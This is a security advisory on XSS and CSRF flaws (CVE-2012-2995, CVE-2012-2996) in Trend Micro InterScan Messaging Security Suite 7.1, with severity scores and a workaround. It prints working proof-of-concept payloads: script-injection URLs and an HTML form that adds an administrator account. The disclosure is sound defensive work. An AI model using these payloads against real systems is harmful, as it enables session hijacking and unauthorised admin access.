Trend Micro InterScan Messaging Security Suite is vulnerable to XSS and CSRF vulnerabilities

2012-09-1300:00:00

www.kb.cert.org

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

EPSS

0.005

Percentile

75.4%

JSON

Overview

Trend Micro InterScan Messaging Security Suite Version 7.1-Build_Win32_1394 has been reported to be susceptible to cross-site scripting and cross-site request forgery vulnerabilities.

Description

Trend Micro InterScan Messaging Security Suite is susceptible to cross-site scripting (CWE-79) and cross-site request forgery (CWE-352) vulnerabilities.

**Cross-site scripting (**CVE-2012-2995) (CWE-79)
Persistent/Stored XSS
hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss``"><script>alert('XSS')</script>

Non-persistent/Reflected XSS
hxxps://127.0.0.1/initUpdSchPage.imss?src=``"><script>alert('XSS')</script>

**Cross-site request forger****y (**CVE-2012-2996) (CWE-352)
CSRF add admin privilege account
<html> <body> <form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST"> <input type="hidden" name="enabled" value="on" /> <input type="hidden" name="authMethod" value="1" /> <input type="hidden" name="name" value="quorra" /> <input type="hidden" name="password" value="quorra.123" /> <input type="hidden" name="confirmPwd" value="quorra.123" /> <input type="hidden" name="tabAction" value="saveAuth" /> <input type="hidden" name="gotoTab" value="saveAll" /> <input type="submit" value="CSRF" /> </form> </body> </html>

Impact

An unauthenticated attacker may be able to execute arbitrary script in the context of a logged in user’s session.

Solution

We are currently unaware of a practical solution to this problem. Please consider the following workarounds.

Restrict access

As a general good security practice, only allow connections from trusted hosts and networks. Restricting access would prevent an attacker from accessing the InterScan Messaging Security Suite using stolen credentials from a blocked network location.